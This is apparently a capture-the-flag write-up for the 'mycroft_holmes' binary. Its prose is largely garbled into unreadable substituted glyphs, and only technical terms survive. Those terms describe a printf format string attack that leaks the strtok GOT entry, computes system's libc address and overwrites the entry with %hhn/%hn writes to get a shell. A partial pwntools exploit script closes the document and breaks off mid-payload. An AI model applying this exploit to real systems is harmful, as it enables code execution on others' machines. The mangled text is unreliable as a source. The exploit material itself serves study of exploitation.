 ˭˧˟ ˟˪˷˪ ˭˸˧ˮ ˧˪ˣ˞ .ˢ˟ ˷ˬ˸˷ˢ˪ ˡ˴˧˩ ˫˧˰ˡˣ˧ ˞˪ ˦ˣ˷˲help ?"˸ˣ˧˥"ˢ ˸˥˞ ˭˧˟˪ 
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 ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˢ˪ ˢ˯ˮˮάƘŜƭǇ ƎŎŎέ: 

 
 ˭˧˧ˮ˰ˬ- ˪˩ ˪˰ ˶˟˯ˢ ˣˮ˪˟˧˵ ˞˪ ˭˧˧ˡ˰  ˣˮ˪˷ ˦˪˵ˢ ˪˟˞ ,˵˥˷ˬˢ ˧˪- gcc -  ˧ˮ˲˪ ˫˷˶ˮάҔҔҔέ  ˧˪ˣ˞ .˦˪˲˩

 ˸˷˪ˣ˥ ˭˞˩ ˷˧format string˟ ˷ˬ˸˷ˢ˪ ˢ˯ˮˮ ?-%p :˸˧ˮ˯˥ˬ˟˷ ˢˮˣ˷˞˶ˢ ˸˟ˣ˸˩ˢ ˸˞ ˦ˣ˪˲˪ ˸ˮˬ ˪˰ 

 
 ˢˮˢˣ-  ˸˷˪ˣ˥ ˣˮ˞˴ˬformat string ˸ˮ˩˸ˬˢ ˟˷˥ ˢˬ ˸ˮ˧˥˟ˬ) ˸˷˥˶˸ˬ ˞˧ˢ ˢˬ˪ ˶ˣ˶˟ ˞˪ ˭˧˧ˡ˰ .

 ˧˦˧˶˵ ˞˪ ˢˤ ˪˟˞ ,(˵˥˷ˬˢ ˸˞ ˥˸˧˲ ˞ˣˢ˷˩-  ˷˧ ˸˧˸ˡ˟ˣ˰ ˪˰ ˢ˞˪ˬ ˢ˦˧˪˷ ˣˮ˪format string ˪˩ˣˮˣ ,

.˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˭˞˪ ˟ˣ˸˩˪/˞ˣ˶˵˪ 

˪ ˶ˣˤ˥ˮ ,ˢˤ ˟˪˷˟-disassembly  .˪ˠˡˢ ˸˞ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˭˧˟ˢ˪ ˢ˯ˮˮˣ

˟ ˸˪˲˦ˬ˷ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞ˣ˴ˬ˪ ˞ˣˢ ˸ˣ˷˰˪ ˢ˴˶ˮ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ-help ˟˵˰ˬ ˧ˡ˧ ˪˰ ˸˞ˤ ˸ˣ˷˰˪ ˪˩ˣˮ .

 ˸ˣ˞˧˶˵ ˶˥˞-˪printf:ˢ˞˟ˢ ˢ˵˧ˠˣ˪ˢ ˸˞ ˸˷ˬˬˬˣ ,˸ˤˣ˶˥ˬ ˸˪˟˵ˬ˷ ˢ˧˴˵ˮˣ˲˪ ˰˧ˠˮ ˱ˣ˯˟ . 

¶  ˞˧ˢ ˸ˤˣ˶˥ˬˢ ˫˞άƳƻƴǎǘŜǊǎέ.(˸ˣ˴˪˲ˬˢ ˪˰ ˢ˞˶ˮ˩) ˰ˡ˧ˬ ˢ˯˧˲ˡˬ , 

¶  ˞˧ˢ ˸ˤˣ˶˥ˬˢ ˫˞άǿŜŀǇƻƴǎέ.(˫˧˵˷ˮˢ ˪˰ ˢ˞˶ˮ˩) ˰ˡ˧ˬ ˢ˯˧˲ˡˬ , 

¶  ˞˪ ˞˧ˢ ˸ˤˣ˶˥ˬˢ ˫˞άǿŜŀǇƻƴǎέ  ˞˪ˣάƳƻƴǎǘŜǊǎέ˪ ˸˞˶ˣ˵ ,-printf .˦ˮˬˣˠ˶˞ ˶ˣ˸˟ ˸ˤˣ˶˥ˬˢ ˫˰ 
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 ˸˞ ˸˷ˬˬˬ˷ ˢ˧˴˵ˮˣ˲˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮ ˭˩˞˷ ˸ˣ˶ˬ˪help ˸ˣ˞˧˶˵ˢ ˫˞ˢ ˵ˣˡ˟ˮ ˫˧˥ˣ˦˟ ˸ˣ˧ˢ˪ ˸ˮˬ ˪˰ ,

-˪help  ˫˰monsters x-weapons  ˷ˣˬ˧ˬˢˬ ˢ˲ˣ˴ˬ˷ ˧˲˩ ,˰ˡ˧ˬ ˸˯˲ˡˢ˪ ˸ˣˬ˶ˣˠ ˫˧˦ˮˬˣˠ˶˞ ˶ˣ˸˟

.˵˥˷ˬ˟ ˫˧˵˷ˮˢˣ ˸ˣ˴˪˲ˬˢ ˪˰ ˰ˡ˧ˬ ˯˲ˡˣˬ˷ ˢ˞˶ˮ ˭˩˞ˣ ,ˣˮ˧˞˶˷ 

 

ˬ ˸˞ ˧˸˷˲˧˥ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .˵˥˷ˬ˟ ˸ˣˬ˧˧˵ˢ ˸ˣ˶˥˞ˢ ˸ˣˡˣ˵˲ˢ ˢˬ ˵ˣˡ˟˪ ˧˸˧˴˶ ,˸ˣˮ˶˵˯ ˨ˣ˸

help  ˣˬ˩ ,˸ˣ˲˯ˣˮ ˸ˣˡˣ˵˲ ˶˲˯ˬ ˸ˣ˞˶˪ ˭˸˧ˮ .˸ˣˡˣ˵˲ ˣˬ˩ ˸ˣ˞˶ˮ˷ ˢ˸˟˶˵˟ ˸ˣ˶˥˞ ˸ˣˤˣ˶˥ˬˣ ,˸ˣˤˣ˶˥ˬ˟

άƭƻƻƪέΣ άǎǘŀǘǳǎέΣ άŜȄƛǘέ ˣˬ˩ .˭ˢ˟ ˵ˬ˰˸ˮ ˞˪ ˭˩˪ ,ˣˮ˪ ˸˧˦ˮˣˣ˪˶ ˞˪ ˭ˢˬ ˸˥˞ ˱˞ ˪˟˞ , ˸˞ ˷˲˥ˮ ,˭˩

 ˸ˤˣ˶˥ˬˢάŦƭŀƎέ  ˢ˞˶ˮ ˭˩˪ ,˸˞˴ˬˮ ˞˪ ˸ˤˣ˶˥ˬˢ .˧˶˞ˮ˧˟˟ ˪ˠˡ˪ ˸ˣ˯˥˧˧˸ˢ ˷˧ ˫˞ ˸ˣ˞˶˪ ˸ˮˬ ˪˰

 ˠ˧˷ˢ˪ ˨˶˦˴ˮ˷shell. 

 ˟ˣ˸˩˪ :˸˞ˤ˩ ˞˧ˢ ˢ˧˰˟ˢROP  ˸˶ˤ˰˟printf  ˶˟˩˷ ˢ˵˧ˮ˩˦˟ ˷ˬ˸˷ˢ˪ ˢ˯ˮˮ ˭˩˪ ,˱˧˩ ˞˪ ˡˣ˞ˬ ˢˤ

 ˶˟˰˟ ˣˮˠ˴ˢ- GOT overwrite -  ˯ˣ˶ˡ˪ ˸ˮˬ ˪˰GOT entry  ˪˷ ˸˟ˣ˸˩ˢ ˢ˧ˢ˸ ˣ˟ ˸˟ˣ˸˩ˢ˷ ˨˩ ˣˢ˷˪˩

system ˳˧˶ˢ˪ ˪˩ˣˮˣ ,ǎȅǎǘŜƳόάκōƛƴκǎƘέύ  ˶ˣ˴˧˪ ˸ˮˬ ˪˰shellˢˤ˧˞ ˪˩ ˫ˡˣ˵ ˦˧˪˥ˢ˪ ˣˮ˧˪˰ ,ˢˤ ˪˧˟˷˟ . 

GOT entry  ˶ˣ˥˟˪ ˣˮ˧˪˰ .˯ˣ˶ˡ˪ ˢ˴˶ˮGOT entry :˫˧˞˟ˢ ˫˧˞ˮ˸ˢ ˧ˮ˷˟ ˡˣˬ˰˧˷ 

¶  ˪˰ ˢ˧˪˞ ˫˧˶˧˟˰ˬ ,ˢ˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ˶˷˞˩rdi ˷˞˶ˢ ˦ˮˬˣˠ˶˞˩) ˟ˣ˷˥ ˧˞ˮ˸ ˢˤ .ˣˮ˪˷ ˦˪˵ˢ ˸˞ (˭ˣ

 ˸˞ ˶˧˟˰ˢ˪ ˪˩ˣˮ˷ ˪˧˟˷˟άōƛƴκǎƘέ ˪ ˦ˮˬˣˠ˶˞˩-system. 

¶ .(ˢ˸ˣ˞ ˸˰˴˟ˬˣ ˢˡˣ˵˲ ˸˷˵˟ˬ˷) ˵˥˷ˬˢ ˸˞˪ˣ˪ ˪˷ ˢ˧˴˶˦˧˞ ˪˩˟ ˞˶˵˧ˢ˪ ˸˟˧˧˥ ˢ˧˴˵ˮˣ˲ˢ 

 ˪˰ ˸˩ˬ˸˯ˬ˷ ˫˧˶˧˩ˬ ˣˮ˞˷ ˸˥˞ ˢ˧˴˵ˮˣ˲ ˶˟˩ ˷˧GOT entry  ˦˪˵ˢ ˫˰ ˸˧ˮˣ˴˧˥ˢ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ˣ

 ˦ˮˬˣˠ˶˞ ˶ˣ˸˟- splitlines˟ ˷ˬ˸˷ˬ ˢ˧˴˵ˮˣ˲ˢ !-strtokˬ ˢ˧˴˵ˮˣ˲ ˞˧ˢ˷ ,-libc  ˸˞˴ˬˮ ˢ˪˷ ˸˟ˣ˸˩ˢ˷

-˟GOT entryˢ ˸˶ˤ˰˟ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˫˧˲˯ˣˮ ˫˧˷ˣˬ˧˷ ˷˲˥ˮ .-Proximity browser  ˪˷IDA ˷˧˷ ˢ˞˶ˮ .3 

˟ ˸ˣˬˣ˵ˬ-main ˪ ˫˧˞˶ˣ˵ ˫ˢ˟˷-splitlines ˢ˧˴˵ˮˣ˲˟ :menu  ˸˧˸˪˥˸ˢˢ ˢ˧˴˵ˮˣ˲˪ ˣˮ˵ˮ˰ˢ˷ ˫˷ˢ)

˩˥ˬ˷˪ ˢ-s/q ˢ˧˴˵ˮˣ˲˟ ,(extract_command  ˧˸˷ˬ ˸˥˞ ˫˞ .˸˲˯ˣˮ ˢ˧˴˵ˮˣ˲ˣ (ˢ˟ ˵ˬ˰˸ˮ ˱˩˸)
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 ˭ˮ˧˞˷ ˸ˣ˧˴˵ˮˣ˲ˢmenu  ˞˧ˢ ˢ˧˪˞ ˸˶˟˰ˣˬ˷ ˸ˤˣ˶˥ˬˢˣ ,˸˧˯˥˧ ˫ˡ˵ˣˬ ˟˪˷˟ ˢ˧˴˶˦˧˞ ˪˩˟ ˸˞˶˵ˮ

 ˪˰ ˨ˬ˸˯ˢ˪ ˪˩ˣˮ˷ ˰ˡˮ ,˷ˬ˸˷ˬˢ ˪˷ ˦˪˵ˢstrtok. 

 

 ˢ˧˴˵ˮˣ˲˟ ˵ˬ˰˸ˮextract_command ˭˸˧ˮ ,˪˩ ˫ˡˣ˵ : ˷ˬˬ ,ˢ˧˴˶˦˧˞ ˪˩ ˸˪˧˥˸˟ ˸˞˶˵ˮ ˞˧ˢ˷ ˸ˣ˞˶˪

˪ ˫˧˞˶ˣ˵ˣ ˷ˬ˸˷ˬˢˬ ˢˡˣ˵˲ˢ ˸˞ ˫˧˦˪ˣ˵˷ ˶˥˞˪-cast_to_lower .ˢˡˣ˵˲ˢ ˪˰ 

 

˪ ˸˞˶ˣ˵ ˞˧ˢ˷ ˢ˞˶ˮ ,ˢ˧˴˵ˮˣ˲˟ ˵ˬ˰˸ˮ ˫˞-splitlines  ˢ˧˴˵ˮˣ˲˟ ˶˟˰ ˞ˣˢ˷ ˶˥˞˪ ˦˪˵ˢ ˫˰

cast_to_lower˪ ˞˶˵˸ ˞˧ˢ ,˸˧ˮ˩˸˪ ˢˡˣ˵˲ ˵˲˯ˮ˷ ˫˰˲ ˪˩˟˷ ˨˩ ,-strtok ˢ ˫˰ ˸ˣ˧˸ˣ˞˟ ˢˡˣ˵˲

ˢ ˸˞ ˯ˣ˶ˡˮ ˫˞ .˸ˣˮ˦˵-GOT entry  ˪˷strtok  ˪˷ ˸˟ˣ˸˩˟systemˢˡˣ˵˲ ˵˲˯ˮ˷ ˫˰˲ ˪˩˟ ,  ,˸˧ˮ˩˸˪

˪ ˞˶˵˸ ˞˧ˢ-system  ˢ˧ˢ˸ ˢˡˣ˵˲ˢ ˫˞ .ˢˡˣ˵˲ˢ ˫˰/bin/sh ˢ˞˧˶˵ˢ ˸˞ ˰˴˟ˮ ,ǎȅǎǘŜƳόάκōƛƴκǎƘέύ ,

 ˠ˧˷ˮˣshell ˥˧˦˟ˬ ˰ˬ˷ˮ .J 
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:˸ˣˬ˧˷ˬ ˶˲˯ˬ ˣˮ˪ ˣ˶˸ˣˮ ˭˧˧ˡ˰ 

¶ ˴ˬ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣsystem  ˢ˧˪˞ ˸˟ˣ˸˩ˢ˷ ˭ˣˣ˧˩ˬ ˟ˣ˷˥ ˢˤ .ˢ˴˶ˢ ˭ˬˤ˟libc  ˸ˮ˰˦ˮ

.ˢ˰ˣ˟˵ ˸˟ˣ˸˩˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ˞˪ ˭˩˪ ,ˢ˴˧˶˪ ˢ˴˧˶ ˭˧˟ ˢˮ˸˷ˬ 

¶ ˢ ˸˞ ˯ˣ˶ˡ˪-GOT entry  ˪˷strtok  ˸˶ˤ˰˟format string ˢˬ˧˷ˬ ˣˮˬ˪˷ˢˣ ,ˢ˷˵ ˞˪ ˣˤˢ ˢˬ˧˷ˬˢ .

.˶˸ˣ˧ ˫ˡ˵ˣˬ ˶ˠ˸˞˟ ˢˬˣˡ 

ˣˢ ˡ˧˥˧ˢ ˶ˠ˸˞ˢ˷ ˢ˞˶ˮ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˞system ˭˧˞˷ ˭ˣˣ˧˩ˬ .ASLR  ˸˶ˤ˰˟ ˵ˣˡ˟˪ ˭˸˧ˮ)

PEDA ˦ˣ˷˲ ˭ˣ˶˸˲ˢ ,(- ˟ ˷ˬ˸˷ˮ-printf  ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˱˧˪ˡˢ˪ ˪˧˟˷˟strtok  ˸˟ˣ˸˩˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟

ˢ ˪˷-GOT entry  ˪˷strtok ˪˩˷ ˭ˣˣ˧˩ˬ .section  ˭˧˟ ˷˶˲ˢˢ ,˭ˣ˶˩˧ˤ˟ ˱˧˴˶ ˞ˣˢstrtok  ˸˪˧˥˸ ˭˧˟˪libc ,

 ˭˧˟ ˭˩ˣsystem  ˸˪˧˥˸˪libc ˪˷ ˸˟ˣ˸˩ˢ ˨ˬ˯ ˪˰ ,˭˩˪ .˰ˣ˟˵ ˞ˣˢ ,strtok  ˞ˣ˴ˬ˪ ˭˸˧ˮ ,˫˧˷˶˲ˢˢ ˸˰˧ˡ˧ˣ

˟ ˸˟ˣ˸˩ ˪˩-libc. 

 ˧˪˩˟ ˶ˤ˰˧ˮ ,˫˧˷˶˲ˢˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰readelf ˧˪˩˟ ˶˟ˣˡˬ .command-line- ˸ˠ˴ˢ ˶˷˲˞ˬ ˶˷˞ ˧

 ˧˴˟˵ ˸ˣˡˣ˞ ˰ˡ˧ˬELF  ˪˷ ˫˧˪ˣ˟ˬ˧˯ˢ ˸˞ ˞ˣ˶˵˪ ˪˧˟˷˟ ˣ˟ ˶ˤ˰ˮ .ˢ˥ˣˮ ˢ˶ˣ˴˟libc˟ ˶ˤ˰˧ˮ ˭˩ˬ ˶˥˞˪ˣ ,-

grep  ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰strtok ˭˧˟ ˷˶˲ˢˢ ˢ˧ˢ˸ ˞˴ˬ˧˧ ˞ˣˢ ˢ˟ ˸˟ˣ˸˩ˢ .strtok  ˸˪˧˥˸ ˭˧˟˪libc. 

 

˷ ˣˮ˞˴ˬ-strtok  ˫˵ˣˬˬ0x80c70  ˸˪˧˥˸ ˶˥˞˪ ˫˧˸˟libc ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ˢ˦˧˷ ˢ˸ˣ˞˟ .sytem ,

 ˢ˞˶ˮˣ ˫˵ˣˬˬ ˞ˣˢ˷0x3f510  ˸˪˧˥˸ ˶˥˞˪ ˫˧˸˟libc ˪˷ ˸˟ˣ˸˩ˢ ˭˸ˮ˧ˢ˟˷ ,˭˞˩ˬ .strtok ˪˷ ˸˟ˣ˸˩ˢ ,

system  ˢ˧ˢ˸strtok - 0x41760 .(˸ˣ˟ˣ˸˩ˢ ˧˸˷ ˭˧˟ ˷˶˲ˢˢ) 

 ˢˮ˦˵ ˸ˣ˞ˬ˶ ˭˞˩ ˷˧˷ ˣ˞˶˧ ˭˧˰ˢ ˧ˡ˥*-  ˸˯˶ˠ˷ ˢ˥ˮˢˢlibc ˢ ˸˯˶ˠ˪ ˢˢˤ ˧˪˴˞ ˸ˬ˧˧˵˷-libc  ˸ˬ˧˧˵˷

ˢ ˸˞ ˳˧˶ˢ˪ ˞˧ˢ ˢ˶˦ˬˢ ˱ˣ˯˟ ˧˶ˢ) ˸˶˷˟-exploit ˢ ˸˯˶ˠ ˸˞ ˸ˣ˪ˠ˪ ˸ˣ˦˧˷ ˷˧ .(˸˶˷ ˪ˣˬ ˪˞-libc  ˪˷

 ˞ˣ˴ˬ˪ ˢ˧ˢ˧ ˭˸˧ˮ ˶ˬ˞ˬˢ ˱ˣ˯˟ .˸ˣˢˤ ˸ˣ˯˶ˠˢ˷ ˢ˪˵ˬ ˢ˥ˮˢ ˰˴˟ˮ ˭˩˪ ,ˡ˥ˣ˧ˬ˟ ˸ˣˮ˧˧ˮ˰ˬ ˞˪ ˭ˢˣ ,˸˶˷ˢ

.˫˧ˮ˧˧ˮˣ˰ˬ˪ ˞˷ˣˮ˟ ˫˧˶ˬ˞ˬ˪ ˫˧˶ˣ˷˧˵ 

˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮ ,ˢ˸˰-format string  ˸ˣ˟ˣ˸˩˟ ˢ˞˧˶˵/ˢ˟˧˸˩ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ ˪˰ ˣ˟ ˫˧˦˪ˣ˷ ˣˮ˞˷

˪ ˯˥˧˟ ˣˮ˪˷ ˸ˤˣ˶˥ˬˢ ˸˟˷ˣ˧ ˸˧ˮ˯˥ˬ˟ ˢ˲˧˞ ˭˧˟ˢ˪ ˨˶˦˴ˮ ,˸˞ˤ ˰˴˟˪ ˸ˮˬ ˪˰ .˸ˣ˧˸ˣ˶˧˶˷-rsp  ˸˰˟

˪ ˢ˞˧˶˵ˢ-printf ˣˬ˩ ,˧ˣˢ˧ˤ˪ ˸˧˯˥˧ ˢ˪˵ ˸ˤˣ˶˥ˬ ˦˪˵˩ ˵˲˯ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .άŀŀŀŀŀŀŀŀέ ˶ˣ˸˟ ,

 ˪˷ ˦ˮˬˣˠ˶˞ˢhelp ˫˧˷ˮ ,breakpoint ˟-printf  ˭˧˟ ˷˶˲ˢˢ ˸˞ ˟˷˥ˮˣrsp  ˸˞ ˞˴ˬˮ ˢ˟ ˸˟ˣ˸˩ˢ ˭˧˟˪

 .˦ˮˬˣˠ˶˞ˢ 
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˟ ˶˟˰˟ ˸˞ˤ ˣˮ˧˷˰-Greg Lestrade ˦˪˵ˢ ˸˞ ˵˲˯ˮ .άƘŜƭǇ ---ŀŀŀŀŀŀŀŀέ  ˸˞ ˷˲˥ˮˣaaaaaaaa  ˢ˟˧˯ˢ)

 ˣˮ˲˯ˣˢ˷ ˨˩˪ά---ά ˞˪"ˢ ˵˪˥ˢ ˪˷ ˨˶ˣ˞ˢ ˸˞ ˪ˠ˰˪ ˪˧˟˷˟ ˞˧ˢ ,˞ˣ˴ˬ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞˷ ˸ˤˣ˶˥ˬˢ ˧ˮ˲˪ 

˟ ˪˥˸ˬ˷ ,˸ˤˣ˶˥ˬˢ ˪˷ "˭˧˧ˮ˰ˬ-help˪ ,-8:( 

 

 ˞ˣˢ ˸ˣ˟ˣ˸˩ˢ ˭˧˟ ˷˶˲ˢˢ1224˟ ˵˪˥ˮ .-8  ˪˟˵ˮˣ153 ˱˧˯ˣˮ ,5 ˟ ˫˧˶ˠˣ˞ ˧˟ˠ ˪˰ ˫˧˶˟˰ˣˬ˷ ˫˧˦ˮˬˣˠ˶˞)-

64 ˢ ˦ˮˬˣˠ˶˞ˢˬ ˪˥ˢ ˫˧˞˴ˬˮ ˦˪˵ˢ ˧ˣˣ˸˷ ˪˟˵ˮˣ (˦˧˟-158 ˪-printf ˫ˣ˷˶ˮ ˶˷˞˩ ˣˤˢ ˢˡ˟ˣ˰˟ ˶ˤ˰˧ˮ .

ˢ ˸˞-format strings .ˣˮ˪˷ 

 ˪˰ ˭˧˟ˢ˪ ˟ˣ˷˥˷ ˶˟ˡformat strings  ˪˷ ˡˣ˟˧˰ˢ˷ ˞ˣˢformat sting ˪ ˫˧˰˧ˠˬ ˶˷˞˩ ˵˧˯˲ˬ-null byte .

 ˫˧˧˵ ˭ˢ˟ ˷ˬ˸˷ˮ˷ ˸ˣ˟ˣ˸˩ˢ ˪˩˟˷ ˭ˣˣ˧˩ˬnull-byteˢ ˱ˣ˯˟ ˭˪ˣ˩ ˸˞ ˫˵ˬˮ ,-format string ˣ˧ˢ˧ ˭ˢ ,˨˩ .

ˢ ˡˣ˟˧˰˪ ˣ˰˧˶˲˧ ˞˪ˣ ,˦ˬ˶ˣ˲ˢ ˸˧˧˴˵ˮˣ˲˪ ˫˧˦ˮˬˣˠ˶˞˩ ˸ˣ˷˧ˠˮ-format string ˣˮ˪ ˟ˣ˷˥˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ .

 ˪˷ ˸ˣ˧˶˪ˣˮ˶ˠ ˪˰ ˶ˣˬ˷˪8  ˱˧˯ˣˮ ,˧˥˩ˣˮˢ ˢ˶˵ˬ˟ ˫˧˸˟padding  ˷ˣˬ˧˷ ˪˩˷ ˨˩ ˭˧˧˴ˬ˟ ˷ˣˬ˧˷ ˪˩˪

 ˯ˣ˲˸˧ ˭˧˧˴ˬ˟8 .ˣˮ˪˷ ˶˲˞˟˟ ˫˧˸˟ 

:˫˧˟˪˷ ˢ˷ˣ˪˷˟ ˣˮ˪˷ ˢ˲˵˸ˢˢ ˸˞ ˰˴˟˪ ˨˶˦˴ˮ 

1.  ˪˷ ˸˟ˣ˸˩ˢ ˸˲˪ˡˢstrtok - ˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟ ˸˞ˤ ˢ˷˰ˮ-%s ˶˷˞˩ ,άƘŜƭǇέ  ˫˰padding  ˢ˧ˢ˧

ˢ ˦ˮˬˣˠ˶˞ˢ-158  ˪˷printfˢ ˦ˮˬˣˠ˶˞ˢ ˢ˧ˢ˧ ˭˧˧˴ˬˢ ,-159  ˪˷printf ˸˞ ˫˵ˬˮ ˭˩ˬ ˶˥˞˪ˣ ,

ˢ ˪˷ ˸˟ˣ˸˩ˢ-GOT entry  ˪˷strtok ˢ ˦ˮˬˣˠ˶˞˩-158 ˯˵ˡˮ˧˞˟ ˷ˬ˸˷ˮ ,˭˩˪ .160 :%160$s. 

2. ˢ ˸˯˧˶ˡ-GOT entry  ˪˷strtok  ˪˷ ˸˟ˣ˸˩˟system  ˪˷ ˸˟ˣ˸˩ˢ ˸˶ˤ˰˟ ˣˮ˟˷˧˥˷)strtok 

 (ˣˮ˲˪ˡˢ˷-  ˭˧˧˴ˬ˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟ ˸˞ˤ ˢ˷˰ˮn  ˸˞ ˫˵ˬˮ ˸˧ˮ˯˥ˬˢ ˪˰ .˫˧ˮˣ˷ ˨˶ˣ˞ ˧ˮ˵˸ˬ ˫˰

/˫˧˸˟ˢ ˪˞ ˸ˣ˟ˣ˸˩ˢ-WORD ˪˷ ˸ˣ˟ˣ˸˩˟ ˫˧ˮˣ˧˪˰ˢ ˫˧˸˟ˢ ˸˷ˬ˥ .˫˰˲ ˪˩˟ ˟ˣ˸˩˪ ˢ˴˶ˮ ˫ˢ˧˪˞ ˫˧

strtok  ˪˷ˣsystem  ˣˮ˪˷ ˦˪˵ˢ ˸˞ ˟˴˰ˮ .˫˧ˮˣ˸˥˸ˢ ˫˧˸˟ˢ ˸˷ˣ˪˷ ˸˞ ˵˶ ˯ˣ˶ˡ˪ ˨˶˦˴ˮ ˭˩˪ ,˫˧ˢˤ

˞ˢ˷ ˨˩ ˪˷ ˫˧˦ˮˬˣˠ˶printf :˨˩ ˣ˞˶˧ 

¶ 158 :help  ˫˰padding (˸ˤˣ˶˥ˬˢ ˸˪˧˥˸) 

¶ 159 :%x  ˪˷ ˸˟ˣ˸˩˟ ˧˷˧˪˷ˢ ˸˧˟ˢ ˪˷ ˪ˡˣˠ˪ ˢˢˤ ˫˧˸˟ ˸ˣˬ˩ ˟ˣ˸˩˪ ˸ˮˬ ˪˰ ˫˧˞˸ˬ ˟˥ˣ˶ ˫˰

system ˭˧˧˴ˬ˟ ˷ˣˬ˧˷ˢ˷ ˸ˮˬ ˪˰ ˟˸˩˧ˢ˪ ˫˧˩˧˶˴˷ˣ ˢ˩ ˡ˰ ˣ˟˸˩ˮ˷ ˫˧˸˟ˢ ˸ˣˬ˩ ˸ˣ˥˲ ,

 ˧˟ˠ ˪˰ ˷˶˲˸˧8 .˸ˤˣ˶˥ˬ˟ ˫˧˸˟ 

¶ 160˸˩ :ˢ ˦ˮˬˣˠ˶˞˪ ˢ˟˧-164˟ ˧˷˧˪˷ˢ ˸˧˟ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˭˯˥˞ˮ ˣ˟ ,-GOT entry  ˪˷

strtok˟ ˷ˬ˸˷ˮ .-%hhn .ˡ˥˞ ˸˧˟ ˟ˣ˸˩˪ ˸ˮˬ ˪˰ 
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¶ 161 :%x  ˢ˧ˢ˸ ˢ˞˟ˢ ˭˧˧˴ˬˢ ˡ˰ ˟˸˩˸˷ ˫˧˸˟ˢ ˸ˣˬ˩˷ ˨˩˪ ˫ˣ˶ˠ˪ ˸ˮˬ ˪˰ ˫˧˞˸ˬ ˟˥ˣ˶ ˫˰

ˢ ˪˷ ˪ˡˣˠ˪ ˢˢˤ-word  ˪˷ ˸˟ˣ˸˩ˢ ˪˷ ˭ˣ˸˥˸ˢsystem. 

¶ 162: ˦ˮˬˣˠ˶˞˪ ˢ˟˧˸˩ s-163ˢ ˸˟ˣ˸˩ ˸˞ ˭˯˥˞ˮ ˣ˟ ,-word ˟ ˭ˣ˸˥˸ˢ-GOT entry  ˪˷strtok .

˟ ˷ˬ˸˷ˮ-%hn ) ˫˧˸˟ ˧ˮ˷ ˟ˣ˸˩˪ ˸ˮˬ ˪˰WORD.ˡ˥˞ ( 

¶ 163ˢ ˪˷ ˸˟ˣ˸˩ˢ :-word ˟ ˭ˣ˸˥˸ˢ-GOT entry  ˪˷strtok. 

¶ 164˟ ˧˷˧˪˷ˢ ˸˧˟ˢ ˪˷ ˸˟ˣ˸˩ˢ :-GOT entry  ˪˷strtok. 

3. ˪ ˢ˞˧˶˵-ǎȅǎǘŜƳόάκōƛƴκǎƘέύ -  ˸˞ ˢˡˣ˵˲˩ ˵˲˯ˮάκōƛƴκǎƘέ ˦ˮˬˣˠ˶˞˩ ˷ˬ˷˧ ˦˪˵ˢ˷ ˭ˣˣ˧˩ˬ .

˪ ˭ˣ˷˞˶ˢ-strtokˢ ˰˧˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˣˮ˯˶ˡˣ ,-GOT entry  ˪˷strtok  ˪˷ ˸˟ˣ˸˩ˢ ˫˰

system˪ ˢ˞˧˶˵ ˰˴˟˸˸ ,-system  ˦˪˵ˢ .˦ˮˬˣˠ˶˞˩ ˣˮ˪˷ ˦˪˵ˢ ˫˰/bin/sh  ˸˶˧˴˧˪ ˫ˣ˶ˠ˧shell ,

.ˣ˸ˣ˞ ˞ˣ˶˵˪ˣ ˪ˠˡˢ ˸˞ ˭˯˥˞ˬ˷ ˳˟ˣ˵ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮˣ 

 ˫ˣ˷˶ˮexploit :˫˧˞˸ˬ 

from pwn import *  

 

e = ELF( "./mycroft_holmes" )  

r = process( "./mycroft_holmes" )  

r.sendline( "s" )  

print r.recv()  

 

strtok_got_addr = e.got[ 'strtok' ]  

strtok_got_s = p64(strtok_got_addr)  

strtok_got_s_third_byte = p64(strtok_got_addr + 0x02 )  

 

libc_strtok_offset = 0x80c70  

libc_system_offset = 0x3f510  

libc_system_strtok_diff = libc_strtok_offset -  libc_system_offset  

 

command = "help    "  # argument 158  

command += "%160$s -- "  # read value of strtok_got to get strtok address in 

loaded libc -  argu ment 159  

command += strtok_got_s  # argument 160  

r.sendline(command)  

d = r.recv()  

 

strtok_addr = unpack(d.split( 'a' )[ - 1].split( ' -- ' )[ 0] , word_size =48)  

system_addr = p64(strtok_addr -  libc_system_strtok_diff)  

system_low_word = unpack(system_addr[ 0: 2] , word_size =16)  

system_third_byte = unpack(system_addr[ 2] , word_size =8)  

system_low_word = system_low_word -  system_third_byte  

first_write_width = 6 -  len ( str (system_third_byte))  

second_write_width = 6 -  len ( str (system_low_word))  

 

command = "help    "  # argu ment 158  

command += "%" + str (system_third_byte -  first_write_width) + "x" + " - " * 

first_write_width  # argument 159  
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command += "%164$hhn"  # this should write 8 to the lower word of 

e.got['strtok'] -  argument 160  

command += "%" + str (system_low_word -  sec ond_write_width) + "x" + " - " * 

second_write_width  # argument 161  

command += "%163$hn - "  # this should write 8 to the lower word of 

